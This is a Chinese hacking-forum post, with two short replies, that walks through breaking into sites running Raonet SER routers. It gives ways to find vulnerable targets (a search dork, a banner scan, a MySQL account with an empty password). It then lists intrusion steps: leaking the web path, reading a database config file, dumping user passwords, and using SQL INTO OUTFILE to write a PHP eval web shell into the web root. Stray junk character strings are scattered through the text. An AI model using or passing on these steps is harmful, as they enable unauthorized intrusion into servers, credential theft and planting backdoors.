利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
+ R; r) P6 F4 C7 o% ?3 ~
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
3 |3 f# \3 J8 L" K' H$ ]
5 d* P- W  a% [  G' o4 x# R3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

/ H2 l$ }" G' h, ?: ?6 q) L//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......



入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
* n- |# i- J8 T  @4 L
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
" S, e$ c/ J5 w# z0 L" ]select id,passwd from user;
4:通过数据库写入webshell，执行命令：
, j. W( @4 y% u' Kuse mysql;
1 ^4 Z/ ^" A0 d, s5 l/ pcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
- E% @3 h& [- b# Tselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
. O3 g" Z* X: [, L3 i
% B; z9 v( F( _: |) Z5:连接后门shell.php

8 J% R( E5 k! ]: [  {! K* N% x1 [6. 搞定！

% H* U% V; y' N8 v+ H" C

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。